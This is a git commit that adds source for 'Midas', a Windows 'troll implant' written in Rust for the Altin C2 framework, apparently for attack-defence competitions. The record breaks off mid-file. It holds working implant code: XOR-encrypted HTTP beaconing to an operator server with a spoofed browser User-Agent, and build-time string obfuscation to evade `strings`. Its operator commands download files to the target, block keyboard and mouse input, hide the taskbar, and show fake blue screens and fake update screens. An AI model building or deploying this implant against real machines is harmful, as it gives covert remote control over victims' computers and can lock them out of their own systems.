Added Midas implant

This commit is contained in:
connorgadbois 2026-09-30 13:27:17 -05:00
parent 79e30d77b8
commit 33ce144bec
22 changed files with 6812 additions and 1 deletions

View File

@ -29,4 +29,5 @@ python3 -m http.server # Starts a webserver on port 8000
## Implants
|Implant|Description|Language|OS|
|---|---|---|---|
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|`Midas`|Windows trolling utilities|Rust|Windows

41
implants/midas/Cargo.toml Normal file
View File

@ -0,0 +1,41 @@
[package]
name = "midas"
version = "0.1.0"
edition = "2021"
build = "build.rs"
description = "Midas - Windows troll implant for the Altin C2"
publish = false
[dependencies]
serde = { version = "1", features = ["derive"] }
serde_json = "1"
local-ip-address = "0.6"
ureq = "2.10"
# Overlays are drawn with egui because they have to be faked from scratch anyway
# (fake BSOD, fake update, glitch static). A real MessageBoxW is used instead -
# see gui/win.rs. Only the glow renderer is pulled in, since there is no longer
# a non-Windows windowing backend to support.
eframe = { version = "0.29", default-features = false, features = [
"default_fonts",
"glow",
] }
egui = "0.29"
image = { version = "0.25", default-features = false, features = [
"png",
"jpeg",
"gif",
"bmp",
] }
# Windows only. The X11 backend was removed because a Wayland compositor forbids
# the cross-client operations this implant is built around - moving another
# application's window, warping the pointer, grabbing the keyboard - so most of
# the command surface could not have worked there. main.rs rejects other targets
# with an explanation rather than compiling a half-working implant.
[profile.release]
opt-level = "z"
lto = true
codegen-units = 1
strip = true

169
implants/midas/README.md Normal file
View File

@ -0,0 +1,169 @@
# Midas Agent
A Windows troll implant, hows images, pops message boxes, changes
the wallpaper and shakes the screen.
**Windows only.** The command surface is built on Win32 — moving another
application's window, warping the pointer, `BlockInput`, `PlaySoundW`. An
earlier revision had an X11 backend, but a Wayland compositor forbids most of
what this implant does to *other* applications, so the Linux build was largely
decorative. Building for any other target now fails with an explanation rather
than producing something that silently does nothing.
## Configuring
Set these in the environment at **compile** time. `option_env!` bakes them into
the binary, so the C2 URL and XOR key are not visible in the process
environment, and the values are XOR-encoded like every other string constant so
they do not appear in `strings` output either.
|Variable|Default|Purpose|
|---|---|---|
|`MIDAS_SERVER`|`http://127.0.0.1:3000/`|C2 base URL|
|`MIDAS_KEY`|`asdf`|XOR key; must be in the server's keys list|
|`MIDAS_REG_FAIL_LIMIT`|`10`|Registration attempts before giving up|
|`MIDAS_CHECKIN_SLEEP`|`10`|Seconds between check-ins|
|`MIDAS_CHECKIN_JITTER`|`5`|Jitter range in seconds, applied to the sleep|
|`MIDAS_LOG`|unset|Set to anything but `0` for stderr diagnostics|
## Compiling
```bash
# From Windows, for the usual target:
MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... \
cargo build --release --target x86_64-pc-windows-msvc
# Cross-compiling from Linux (needs a mingw-w64 linker):
MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... \
cargo build --release --target x86_64-pc-windows-gnu
```
## Commands
Every argument is required. Where behaviour is genuinely optional it is
expressed with a **sentinel**, listed in the description: the Web UI drops
blank inputs from the argument array, so an omitted argument silently shifts
every later one down a slot rather than falling back to a default.
|Command|Description|Arguments|
|---|---|---|
|`sysinfo`|Report OS, elevation, screen size and overlay state||
|`listoverlays`|List running overlays with their id and age||
|`stopall`|Close every running overlay and stop any playing sound||
|`kill`|Stop the implant||
|`getsleep`|Get the current sleep time and jitter||
|`setsleep`|Set the sleep time between check-ins|seconds: int, jitter: int|
|`fetchimage`|Download a file to the implant's cache and return its path|url: str, filename: str|
|`msgbox`|Show a message box|title: str, body: str, icon: str, sound: bool|
|`showimage`|Show an image over the desktop|path: str, mode: str, seconds: int, topmost: bool|
|`setwallpaper`|Set the desktop wallpaper|path: str|
|`getwallpaper`|Report the current wallpaper path so it can be restored||
|`shakescreen`|Shake a window back and forth|seconds: int, amplitude: int, interval: int, target: str|
|`fakebsod`|Fullscreen fake blue screen with a progress bar|stopcode: str, percent: int, seconds: int|
|`fakeupdate`|Fullscreen fake "working on updates" screen|title: str, percent: int, seconds: int|
|`faketoast`|Fake desktop notification|title: str, body: str, seconds: int|
|`titlechange`|Retitle the foreground window|title: str|
|`gettitle`|Report the foreground window's current title||
|`toggletaskbar`|Hide or show the taskbar|state: str|
|`scare`|Fullscreen image plus sound at once|image: str, sound: str, seconds: int|
|`spook`|Fullscreen animated static, matrix rain or scanlines|mode: str, seconds: int|
|`playsound`|Play a sound file|path: str, loop: bool|
|`volume`|Change the system playback volume|action: str, level: int|
|`cursor`|Hide, freeze or move the mouse pointer|action: str, seconds: int|
|`desktopnote`|Draw a large text note on the desktop|text: str, x: int, y: int, size: int|
|`fontsize`|Scale the system UI font|percent: int|
|`minimizeall`|Minimise or restore every window|state: str|
|`openurl`|Open a URL in the default browser|url: str, background: bool|
|`lockinput`|Block keyboard and mouse input; `0` holds until `stopall`|seconds: int|
## Sentinels
|Argument|Sentinel|Meaning|
|---|---|---|
|`showimage` / `spook` / `fakebsod` / `fakeupdate` `seconds`|`0`|Do not auto-close; stays until `stopall`|
|`scare` `sound`|`none`|Image only, no sound|
|`volume` `action`|`set`|Uses the `level` argument; other actions ignore it|
|`shakescreen` `target`|`foreground`|Foreground window; `all` for every top-level, `mouse` to shake only the window under the pointer|
|`minimizeall` / `toggletaskbar` `state`|`toggle`|Flip to the opposite of the current state. `minimizeall` moves every window one way together, rather than leaving a mix that neither `minimize` nor `restore` could describe afterwards|
|`cursor` `seconds`|capped at 60|Ignores anything longer|
|`lockinput` `seconds`|`0`|Do not time out; holds until `stopall`. Any interruption needs `stopall` - `sysinfo` reports an active hold as `input lock: active for …s`|
|`shakescreen` `seconds`|capped at 30||
## Platform notes
- **Overlays have two backends.** `eframe` is tried first and needs a working
OpenGL 3.2+ context; where that is unavailable — a VM with 3D acceleration off,
an RDP session, which offers only OpenGL 1.1 — eframe fails during context
creation, before its first frame, and does so with a panic from inside glutin.
Midas then falls back to a GDI backend that needs no graphics driver at all,
and remembers the choice so the dead one is not retried on every command. The
fallback also covers a backend that survives startup but dies on its first
command: the send itself is the liveness test, so a dead backend is retired at
the point it would have failed a command and the same command goes out again
on the other one. `sysinfo` reports which is live as
`overlay host: running (eframe|gdi)`, along with the real reason if neither
came up.
- **Panics are reportable, not just stderr noise.** The default hook names only
the thread — always one of Midas' own — so every distinct failure printed the
same line. The implant installs its own hook that keeps the last few panics
and `sysinfo` reports them as `panic: <file>:<line>:<message>`. On a target
nobody is sitting at, a stderr line is nowhere to look; this is how the reason
a backend died reaches the operator.
- **The GDI backend is a transcription, not a port.** Same layouts, same colours,
same system font, drawn by hand into a DIB and composited by the window manager
through `UpdateLayeredWindow`. What is lost: rounded corners, subpixel layout,
and the GPU. What is kept: all seven overlays work, including animated
`spook`, and the notification and desktop note are still click-through
everywhere they are transparent, because a layered window is hit-tested
against its own alpha.
- **Text is the one thing GDI is used for.** Everything else is a hand-rolled
rasteriser, because GDI cannot write a meaningful alpha channel into a 32-bit
DIB. Text is rendered over a sentinel colour and the distance from it is
recovered as per-pixel coverage, so antialiasing survives the round trip.
Grayscale antialiasing is requested rather than ClearType, since ClearType's
subpixel colours would defeat both that and the compositing.
- **The overlay host restarts.** It is started lazily by the first visual
command and re-created if the backend dies, so a transient failure does not
disable overlays for the rest of the implant's life.
- **`lockinput`** uses `BlockInput`, which requires an elevated process. An
unelevated implant reports the refusal in its own log rather than pretending
to have locked anything. `sysinfo` reports the elevation state so this is
predictable up front. `0` holds until `stopall`, and `sysinfo` reports an
active hold as `input lock: active for …s`.
- **No interactive desktop** — a service, a scheduled task, or session 0 — means
every window command fails. `sysinfo` reports `desktop: false` in that case.
- **`fontsize`** writes `HKCU\Control Panel\Desktop\LogPixels` and broadcasts
`WM_SETTINGCHANGE`, so it takes effect for new windows only.
- **`setwallpaper` / `getwallpaper`** go through `SystemParametersInfoW` with
`SPI_SETDESKWALLPAPER`.
- **Overlays** are drawn rather than borrowed from native controls, because they
have to be faked from scratch anyway — the BSOD, the update screen, the
animated static. `msgbox` is the one exception and uses a real `MessageBoxW`,
so it gets the genuine system styling.
## Design notes
- **One GUI thread, many viewports — under eframe.** winit permits one
`EventLoop` per process, so "a thread per overlay" cannot work. A single
long-lived thread owns the one event loop and each overlay is an egui
*viewport* within it.
- **A thread and a window per overlay — under GDI.** That shape is illegal for
eframe and is exactly why the fallback is not a second egui app: it uses
ordinary top-level windows with ordinary message loops, so the one-event-loop
constraint does not apply.
- **Every command acks immediately.** The Web UI abandons a task after 90
seconds (`TASK_TIMEOUT_MS` in `webui/assets/js/agents.js`). Tombili runs
commands inline on its check-in loop, so a 30-second shake there would stall
check-ins and be reported as a timeout even though it worked. Midas hands
work to the GUI thread or a worker thread and returns a status line
immediately.
- **Blocking calls go on worker threads.** `MessageBoxW` is modal, a key press
grab has to hold, `lockinput` has to be undone after a delay or a `stopall`.
All of them run through `gui::detach`, so a `lockinput` — timed or
continuous — does not hold up the check-in loop.
- **`stopall` is immediate.** It bumps an epoch, releases any input hold, sets
cancel tokens; overlays check a deadline on their own thread, and `PlaySoundW`
is ended by re-issuing it with a null sound, which is the only way to stop it.
- **`stopall` does not undo everything.** Wallpaper, title, taskbar, font scale
and volume are deliberately left changed — that is the joke. `getwallpaper`
and `gettitle` exist so the original state can be read back afterwards. The
one thing it must undo is input: a continuous `lockinput` has no other way
off, so unblocking it is part of the same cleanup.
- **Win32 is declared by hand**, not through the `windows` crate. The
declarations are plain `extern "system"`, which keeps the dependency list and
the binary small and links identically under the MSVC and GNU targets.

25
implants/midas/build.rs Normal file
View File

@ -0,0 +1,25 @@
use std::time::{SystemTime, UNIX_EPOCH};
fn main() {
println!("cargo:rerun-if-changed=build.rs");
// Tombili derives its obfuscation seed from hash(CompileTime & CompileDate).
// Rust's const evaluation cannot read the clock, so the build script emits
// the equivalent per-build seed into OUT_DIR and src/obf.rs includes it.
//
// This is string obfuscation, not encryption: it keeps protocol strings and
// the C2 URL out of `strings` output on the compiled binary. The key and URL
// are still recoverable by anything that runs the binary.
let seed = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_nanos() as u32)
.unwrap_or(0x9E37_79B9)
| 1;
let out = std::path::PathBuf::from(std::env::var("OUT_DIR").expect("OUT_DIR"));
std::fs::write(
out.join("seed.rs"),
format!("pub const SEED: u32 = {seed:#010x};\n"),
)
.expect("write seed");
}

199
implants/midas/src/comm.rs Normal file
View File

@ -0,0 +1,199 @@
//! C2 transport.
//!
//! Byte-for-byte port of `implants/tombili/src/communication.nim`. The protocol
//! is a single HTTP POST to a catch-all route whose body is a repeating-key XOR
//! of a JSON document; the server is `server/altin/c2_routes.py`.
//!
//! ## XOR parity note
//!
//! The server's `xor_data` walks the decoded body as *characters* and builds the
//! result with `chr(ord(a) ^ ord(b))`. That is only equivalent to a byte-wise XOR
//! while both operands are ASCII. Every document Midas sends is ASCII because
//! `serde_json` escapes non-ASCII as `\uXXXX`, and every document the server
//! sends back is assembled from ASCII literals plus the ASCII task payloads
//! Midas sent it. So byte-wise XOR matches here.
//!
//! That is also why the decode side is `from_utf8_lossy` rather than an error:
//! if a future server change pushed a non-ASCII byte through, the Python side
//! would widen it to a multi-byte codepoint and a byte-wise decode would produce
//! mojibake. A lossy decode degrades to "invalid JSON" rather than a panic.
use serde_json::{json, Map, Value};
use crate::commands;
use crate::config;
use crate::obf;
/// Action discriminators. These must match `server/altin/agent.py:6-8`.
pub const ACTION_CHECKIN: i64 = 1;
pub const ACTION_REGISTER: i64 = 2;
pub const ACTION_TASK_RESULT: i64 = 3;
/// Response statuses. These must match `server/altin/agent.py:10-14`.
pub const STATUS_ERROR: i64 = 0;
pub const STATUS_CONTINUE: i64 = 1;
pub const STATUS_TASKS: i64 = 2;
pub const STATUS_REGISTER: i64 = 3;
pub const STATUS_INVALID: i64 = 4;
const ALL_STATUSES: [i64; 5] = [
STATUS_ERROR,
STATUS_CONTINUE,
STATUS_TASKS,
STATUS_REGISTER,
STATUS_INVALID,
];
/// Repeating-key XOR over the raw bytes.
pub fn xor(data: &str, key: &str) -> String {
let key_bytes = key.as_bytes();
if key_bytes.is_empty() {
return data.to_string();
}
let mut out = Vec::with_capacity(data.len());
for (i, byte) in data.as_bytes().iter().enumerate() {
out.push(byte ^ key_bytes[i % key_bytes.len()]);
}
String::from_utf8_lossy(&out).into_owned()
}
/// The address reported as this agent's identity half.
///
/// The server keys agents on `(implant_id, ip)`, both supplied by the client
/// with no server-issued nonce, so this is a label and not an authenticator. It
/// is whatever the host's primary interface reports.
fn local_ip() -> String {
match local_ip_address::local_ip() {
Ok(addr) => addr.to_string(),
Err(_) => obf!("unknown"),
}
}
/// Build a JSON object from runtime-computed keys.
///
/// `serde_json::json!` only accepts literal keys, and every key here goes
/// through `obf!` so the plaintext protocol field names stay out of the binary.
fn jobj(pairs: Vec<(String, Value)>) -> Value {
let mut map = Map::new();
for (key, value) in pairs {
map.insert(key, value);
}
Value::Object(map)
}
/// The `{implant_id, ip, action, ..}` envelope shared by all three actions.
fn envelope(action: i64, extra: Vec<(String, Value)>) -> Value {
let mut pairs: Vec<(String, Value)> = vec![
(obf!("implant_id"), json!(config::IMPLANT_ID)),
(obf!("ip"), json!(local_ip())),
(obf!("action"), json!(action)),
];
pairs.extend(extra);
jobj(pairs)
}
/// POST an encrypted payload and return the decoded response document.
fn exchange(payload: &Value) -> Result<Value, String> {
let key = config::xor_key();
let url = config::server_url();
let encrypted = xor(&payload.to_string(), &key);
let body = ureq::post(&url)
// The catch-all route reads `request.data`, so the content type is
// irrelevant to it; this is only here to look ordinary.
.set("Content-Type", "text/plain; charset=utf-8")
.set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
.send_string(&encrypted)
.map_err(|e| format!("POST {url} failed: {e}"))?
.into_string()
.map_err(|e| format!("could not read response body: {e}"))?;
let plaintext = xor(&body, &key);
serde_json::from_str(&plaintext)
.map_err(|e| format!("response was not valid JSON after decoding: {e}"))
}
/// Pull the status out of a response, rejecting anything outside the protocol's
/// five defined values. Tombili does the same check on the implant side so a
/// desynchronised server cannot be mistaken for a successful call.
fn status_of(response: &Value) -> Result<i64, String> {
let status = response
.get(obf!("status"))
.and_then(|s| s.as_i64())
.ok_or_else(|| obf!("response had no integer `status` field"))?;
if ALL_STATUSES.contains(&status) {
Ok(status)
} else {
Err(format!("unrecognised status {status}"))
}
}
/// Sends the implant's capability manifest. The server stores it verbatim and
/// the Web UI builds its operator forms from it, so this is what defines
/// Midas' console.
pub fn send_registration() -> Result<i64, String> {
let registration = jobj(vec![
(obf!("os"), json!(config::OS)),
(obf!("commands"), commands::manifest()),
]);
let response = exchange(&envelope(
ACTION_REGISTER,
vec![(obf!("registration"), registration)],
))?;
status_of(&response)
}
pub fn send_task_result(task_id: &str, result: &str) -> Result<i64, String> {
let body = jobj(vec![
(obf!("task_id"), json!(task_id)),
(obf!("result"), json!(result)),
]);
let response = exchange(&envelope(
ACTION_TASK_RESULT,
vec![(obf!("result"), body)],
))?;
status_of(&response)
}
/// What a check-in came back with.
pub enum Checkin {
/// The server had tasks queued.
Tasks(Vec<Value>),
/// The server does not know this agent any more, so it wants a fresh
/// registration. This happens when the agent row was deleted from the Web UI
/// mid-round.
NeedsRegistration,
/// Nothing to do.
Idle,
}
/// One check-in.
///
/// The server replies with every task where `completed == false` and re-sends
/// them on each check-in until a result lands, so a command whose result is
/// lost runs again. That is the server's delivery model, not something this
/// layer can fix.
pub fn checkin() -> Result<Checkin, String> {
let response = exchange(&envelope(ACTION_CHECKIN, Vec::new()))?;
match status_of(&response)? {
STATUS_TASKS => {
let tasks = response
.get(obf!("tasks"))
.and_then(|tasks| tasks.as_array())
.cloned()
.ok_or_else(|| obf!("status was TASKS but no `tasks` array was present"))?;
Ok(Checkin::Tasks(tasks))
}
STATUS_REGISTER => Ok(Checkin::NeedsRegistration),
_ => Ok(Checkin::Idle),
}
}

View File

@ -0,0 +1,827 @@
//! Command manifest and dispatch.
//!
//! The server stores whatever manifest this module produces and the Web UI
//! renders operator forms straight from it, so `all()` *is* the operator's
//! console. Two rules follow from `webui/assets/js/agents.js` and
//! `server/altin/management_routes.py:202-207`, and both are enforced by the
//! shape of the types here rather than by convention:
//!
//! 1. **Every argument is `required: true`.** The API compares the number of
//! supplied arguments against the number of required ones and rejects
//! anything else. An optional argument is worse than useless: the UI renders
//! it without an asterisk, the operator leaves it blank, blank inputs are
//! dropped from the array (`agents.js:323`), and every later argument
//! shifts down one slot. So genuinely optional behaviour is expressed with a
//! sentinel value, and the sentinel is documented in the description.
//!
//! 2. **Arguments are positional and only as long as declared.** `ArgDef` has
//! no `required` field to set, so an optional argument cannot be declared by
//! accident.
use serde_json::{json, Value};
use crate::gui;
use crate::info;
use crate::jobs;
use crate::obf;
use crate::sleep;
pub struct ArgDef {
pub name: String,
pub arg_type: &'static str,
pub description: String,
}
pub struct CommandDef {
pub name: String,
pub description: String,
pub args: Vec<ArgDef>,
}
fn arg(name: &str, arg_type: &'static str, description: &str) -> ArgDef {
ArgDef {
name: name.to_string(),
arg_type,
description: description.to_string(),
}
}
fn command(name: &str, description: &str, args: Vec<ArgDef>) -> CommandDef {
CommandDef {
name: name.to_string(),
description: description.to_string(),
args,
}
}
/// The capability manifest, in console order.
pub fn all() -> Vec<CommandDef> {
vec![
// --- operator / cleanup -------------------------------------------
command(
"sysinfo",
"Report OS, elevation, screen size and overlay state",
vec![],
),
command(
"listoverlays",
"List running overlays with their id and age",
vec![],
),
command("stopall", "Close every running overlay", vec![]),
command("kill", "Stop the implant", vec![]),
command(
"getsleep",
"Get the current sleep time and jitter",
vec![],
),
command(
"setsleep",
"Set the sleep time between check-ins",
vec![
arg("seconds", "int", "Seconds between check-ins, minimum 1"),
arg("jitter", "int", "Random extra delay, 0 to seconds"),
],
),
command(
"fetchimage",
"Download a file to the implant's cache and return its path",
vec![
arg("url", "str", "HTTP(S) URL to download"),
arg(
"filename",
"str",
"Name to save as; directories in the name are stripped",
),
],
),
// --- core ---------------------------------------------------------
command(
"msgbox",
"Show a message box",
vec![
arg("title", "str", "Window title"),
arg("body", "str", "Message body"),
arg(
"icon",
"str",
"One of: none, info, warning, error, question",
),
arg("sound", "bool", "Play a system sound with the dialog"),
],
),
command(
"showimage",
"Show an image over the desktop",
vec![
arg("path", "str", "Absolute path to the image"),
arg("mode", "str", "One of: fullscreen, center, fit"),
arg(
"seconds",
"int",
"Auto-close after this many seconds; 0 stays until stopall",
),
arg("topmost", "bool", "Keep the window above other windows"),
],
),
command(
"setwallpaper",
"Set the desktop wallpaper",
vec![arg("path", "str", "Absolute path to the image")],
),
command(
"getwallpaper",
"Report the current wallpaper path so it can be restored",
vec![],
),
command(
"shakescreen",
"Shake a window back and forth",
vec![
arg("seconds", "int", "How long to shake for, capped at 30"),
arg("amplitude", "int", "Horizontal travel in pixels, 1-200"),
arg("interval", "int", "Milliseconds between moves, 10-200"),
arg(
"target",
"str",
"One of: foreground, all, mouse",
),
],
),
// --- fake system UI -----------------------------------------------
command(
"fakebsod",
"Fullscreen fake blue screen with a progress bar",
vec![
arg("stopcode", "str", "Fake stop code, e.g. CRITICAL_PROCESS_DIED"),
arg("percent", "int", "Fake completion percentage, 0-100"),
arg("seconds", "int", "Auto-close after this many seconds; 0 stays"),
],
),
command(
"fakeupdate",
"Fullscreen fake 'working on updates' screen",
vec![
arg("title", "str", "Headline text"),
arg("percent", "int", "Fake completion percentage, 0-100"),
arg("seconds", "int", "Auto-close after this many seconds; 0 stays"),
],
),
command(
"faketoast",
"Fake desktop notification",
vec![
arg("title", "str", "Notification title"),
arg("body", "str", "Notification body"),
arg("seconds", "int", "Auto-close after this many seconds"),
],
),
command(
"titlechange",
"Retitle the foreground window",
vec![arg("title", "str", "New window title text")],
),
command(
"gettitle",
"Report the foreground window's current title",
vec![],
),
command(
"toggletaskbar",
"Hide or show the taskbar",
vec![arg("state", "str", "One of: hide, show, toggle")],
),
// --- sensory -------------------------------------------------------
command(
"scare",
"Fullscreen image plus sound at once",
vec![
arg("image", "str", "Absolute path to the image"),
arg(
"sound",
"str",
"Absolute path to a sound file, or the literal `none`",
),
arg("seconds", "int", "Auto-close after this many seconds"),
],
),
command(
"spook",
"Fullscreen animated static, matrix rain or scanlines",
vec![
arg(
"mode",
"str",
"One of: static, matrix, scanline, glitch",
),
arg("seconds", "int", "Auto-close after this many seconds; 0 stays"),
],
),
command(
"playsound",
"Play a sound file",
vec![
arg("path", "str", "Absolute path to a WAV file"),
arg("loop", "bool", "Repeat until stopped"),
],
),
command(
"volume",
"Change the system playback volume",
vec![
arg("action", "str", "One of: mute, unmute, max, min, set"),
arg("level", "int", "Level 0-100, used when action is `set`"),
],
),
// --- desktop -------------------------------------------------------
command(
"cursor",
"Hide, freeze or move the mouse pointer",
vec![
arg(
"action",
"str",
"One of: hide, show, freeze, corner, shake",
),
arg("seconds", "int", "How long to hold it; capped at 60"),
],
),
command(
"desktopnote",
"Draw a large text note on the desktop",
vec![
arg("text", "str", "Text to display"),
arg("x", "int", "Position in pixels from the top-left"),
arg("y", "int", "Position in pixels from the top-left"),
arg("size", "int", "Font size in pixels, 8-200"),
],
),
command(
"fontsize",
"Scale the system UI font",
vec![arg("percent", "int", "Scale percentage, 50-300")],
),
command(
"minimizeall",
"Minimise or restore every window",
vec![arg("state", "str", "One of: minimize, restore, toggle")],
),
command(
"openurl",
"Open a URL in the default browser",
vec![
arg("url", "str", "URL to open"),
arg("background", "bool", "Do not wait for the browser to exit"),
],
),
command(
"lockinput",
"Block keyboard and mouse input; 0 = until stopall",
vec![arg(
"seconds",
"int",
"Seconds to block for; 0 holds until stopall",
)],
),
]
}
/// The manifest as the server expects it. Note the absent `required` key on the
/// command objects and the hardcoded `true` on each argument.
pub fn manifest() -> Value {
json!(all()
.iter()
.map(|c| json!({
"command": c.name,
"description": c.description,
"args": c.args.iter().map(|a| json!({
"name": a.name,
"arg_type": a.arg_type,
"description": a.description,
"required": true,
})).collect::<Vec<_>>(),
}))
.collect::<Vec<_>>())
}
// ---------------------------------------------------------------------------
// Argument access
//
// Every accessor falls back to a default rather than panicking. The server's
// count check makes a short array unreachable through the Web UI, but the C2
// endpoint accepts a hand-built body, and one malformed task should not take
// the implant down mid-competition.
// ---------------------------------------------------------------------------
fn arg_str(args: &[Value], index: usize) -> String {
args.get(index)
.and_then(|v| v.as_str())
.unwrap_or_default()
.to_string()
}
fn arg_int(args: &[Value], index: usize) -> i64 {
args.get(index)
.and_then(|v| v.as_i64())
.or_else(|| args.get(index).and_then(|v| v.as_f64()).map(|f| f as i64))
.unwrap_or(0)
}
fn arg_bool(args: &[Value], index: usize) -> bool {
args.get(index)
.and_then(|v| v.as_bool())
.unwrap_or(false)
}
/// Matches `value` against `options`, returning the canonical spelling or an
/// error naming what was acceptable. Sentinels (`none`, `0`, `-1`) are handled
/// by the individual commands rather than here.
fn one_of(value: &str, options: &[&str]) -> Result<String, String> {
let lowered = value.trim().to_ascii_lowercase();
options
.iter()
.find(|o| **o == lowered)
.map(|o| o.to_string())
.ok_or_else(|| {
format!(
"`{value}` is not one of: {}",
options.join(", ")
)
})
}
/// Non-negative duration, with 0 meaning "no auto-close".
fn duration_arg(
args: &[Value],
index: usize,
cap: u64,
) -> Result<Option<std::time::Duration>, String> {
let seconds = arg_int(args, index);
if seconds < 0 {
return Err("duration cannot be negative".into());
}
let capped = seconds.min(cap as i64);
Ok(if capped == 0 {
None
} else {
Some(std::time::Duration::from_secs(capped as u64))
})
}
// ---------------------------------------------------------------------------
// Dispatch
// ---------------------------------------------------------------------------
/// Runs one task and returns the operator-facing result string.
///
/// The result is stored in a `TextField` and rendered inside a `<pre>` in the
/// console, so it should be a short status line rather than a payload.
pub fn dispatch(task: &Value) -> String {
let name = task
.get(obf!("task"))
.and_then(|v| v.as_str())
.unwrap_or_default()
.to_string();
let empty: Vec<Value> = Vec::new();
let args = task
.get(obf!("args"))
.and_then(|v| v.as_array())
.unwrap_or(&empty)
.clone();
match name.as_str() {
// --- operator / cleanup -------------------------------------------
"sysinfo" => info::report(),
"listoverlays" => gui::describe_overlays(),
"stopall" => {
// Input is released by `stop_all` as well as overlays, and the
// message should say so when it was the only thing holding.
let input_was_active = gui::input_lock_active();
let closed = gui::stop_all();
let mut parts = Vec::new();
if closed > 0 {
parts.push(format!("closed {closed} overlay(s)"));
}
if input_was_active {
parts.push("input lock released".to_string());
}
if parts.is_empty() {
"nothing was running".to_string()
} else {
parts.join("; ")
}
}
"kill" => {
gui::stop_all();
// Give queued result writes a moment, then leave. Mirrors
// Tombili's shared.kill, which sleeps on a spawned thread first.
std::thread::spawn(|| {
std::thread::sleep(std::time::Duration::from_millis(750));
std::process::exit(0);
});
"implant is stopping".to_string()
}
"fetchimage" => {
let url = arg_str(&args, 0);
let filename = arg_str(&args, 1);
match jobs::fetch(&url, &filename) {
Ok(path) => format!("downloaded to {path}"),
Err(e) => format!("download failed: {e}"),
}
}
// --- core ---------------------------------------------------------
"msgbox" => {
let title = arg_str(&args, 0);
let body = arg_str(&args, 1);
let icon = arg_str(&args, 2);
let sound = arg_bool(&args, 3);
let icon = match one_of(&icon, &["none", "info", "warning", "error", "question"]) {
Ok(value) => value,
Err(e) => return e,
};
// MessageBoxW is modal: it does not return until the dialog is
// dismissed. It has to run off the check-in thread or the implant
// stops checking in for as long as the box is open.
gui::detach(move || {
gui::win::msgbox(&title, &body, &icon, sound);
});
"message box opened".to_string()
}
"showimage" => {
let path = arg_str(&args, 0);
let mode = match one_of(&arg_str(&args, 1), &["fullscreen", "center", "fit"]) {
Ok(value) => value,
Err(e) => return e,
};
let duration = match duration_arg(&args, 2, 3600) {
Ok(value) => value,
Err(e) => return e,
};
let topmost = arg_bool(&args, 3);
match gui::open_image(&path, &mode, duration, topmost) {
Ok(id) => overlay_ack(id, "image", &path, duration),
Err(e) => format!("could not show image: {e}"),
}
}
"setwallpaper" => {
let path = arg_str(&args, 0);
let result = gui::win::set_wallpaper(&path);
match result {
Ok(()) => format!("wallpaper set to {path}"),
Err(e) => format!("could not set wallpaper: {e}"),
}
}
"getwallpaper" => {
let result = gui::win::get_wallpaper();
match result {
Ok(path) => format!("current wallpaper: {path}"),
Err(e) => format!("could not read wallpaper: {e}"),
}
}
"shakescreen" => {
let seconds = arg_int(&args, 0);
let amplitude = arg_int(&args, 1);
let interval = arg_int(&args, 2);
let target = match one_of(
&arg_str(&args, 3),
&["foreground", "all", "mouse"],
) {
Ok(value) => value,
Err(e) => return e,
};
if !(1..=30).contains(&seconds) {
return "seconds must be between 1 and 30".to_string();
}
if !(1..=200).contains(&amplitude) {
return "amplitude must be between 1 and 200 pixels".to_string();
}
if !(10..=200).contains(&interval) {
return "interval must be between 10 and 200 ms".to_string();
}
if target == "mouse" {
return cursor_task("shake", seconds as u64);
}
let shown = target.clone();
gui::detach(move || {
crate::gui::win::shake(
seconds as u64,
amplitude as i32,
interval as u64,
&target,
);
});
format!("shaking {shown} for {seconds}s")
}
// --- fake system UI -----------------------------------------------
"fakebsod" => {
let stopcode = arg_str(&args, 0);
let percent = arg_int(&args, 1).clamp(0, 100);
let duration = match duration_arg(&args, 2, 3600) {
Ok(value) => value,
Err(e) => return e,
};
match gui::open_bsod(&stopcode, percent, duration) {
Ok(id) => overlay_ack(id, "fakebsod", &stopcode, duration),
Err(e) => format!("could not open fakebsod: {e}"),
}
}
"fakeupdate" => {
let title = arg_str(&args, 0);
let percent = arg_int(&args, 1).clamp(0, 100);
let duration = match duration_arg(&args, 2, 3600) {
Ok(value) => value,
Err(e) => return e,
};
match gui::open_update(&title, percent, duration) {
Ok(id) => overlay_ack(id, "fakeupdate", &title, duration),
Err(e) => format!("could not open fakeupdate: {e}"),
}
}
"faketoast" => {
let title = arg_str(&args, 0);
let body = arg_str(&args, 1);
let seconds = arg_int(&args, 2);
if !(1..=600).contains(&seconds) {
return "seconds must be between 1 and 600".to_string();
}
let duration = Some(std::time::Duration::from_secs(seconds as u64));
match gui::open_toast(&title, &body, duration) {
Ok(id) => overlay_ack(id, "faketoast", &title, duration),
Err(e) => format!("could not open faketoast: {e}"),
}
}
"titlechange" => {
let title = arg_str(&args, 0);
let result = gui::win::set_foreground_title(&title);
match result {
Ok(previous) => format!("title set to `{title}` (was `{previous}`)"),
Err(e) => format!("could not set title: {e}"),
}
}
"gettitle" => {
let result = gui::win::get_foreground_title();
match result {
Ok(title) => format!("foreground window: `{title}`"),
Err(e) => format!("could not read title: {e}"),
}
}
"toggletaskbar" => {
let state = match one_of(&arg_str(&args, 0), &["hide", "show", "toggle"]) {
Ok(value) => value,
Err(e) => return e,
};
let result = gui::win::set_taskbar(&state);
match result {
Ok(()) => format!("taskbar {state}"),
Err(e) => format!("could not change taskbar: {e}"),
}
}
// --- sensory -------------------------------------------------------
"scare" => {
let image = arg_str(&args, 0);
let sound = arg_str(&args, 1);
let seconds = arg_int(&args, 2);
if !(1..=600).contains(&seconds) {
return "seconds must be between 1 and 600".to_string();
}
// The literal `none` means "image only". This is the sentinel that
// an optional argument would otherwise have provided.
if !sound.trim().is_empty() && !sound.eq_ignore_ascii_case("none") {
gui::detach(move || {
let _ = jobs::play_sound(&sound, false);
});
}
let duration = Some(std::time::Duration::from_secs(seconds as u64));
match gui::open_scare(&image, duration) {
Ok(id) => overlay_ack(id, "scare", &image, duration),
Err(e) => format!("could not open scare: {e}"),
}
}
"spook" => {
let mode = match one_of(
&arg_str(&args, 0),
&["static", "matrix", "scanline", "glitch"],
) {
Ok(value) => value,
Err(e) => return e,
};
let duration = match duration_arg(&args, 1, 3600) {
Ok(value) => value,
Err(e) => return e,
};
match gui::open_spook(&mode, duration) {
Ok(id) => overlay_ack(id, "spook", &mode, duration),
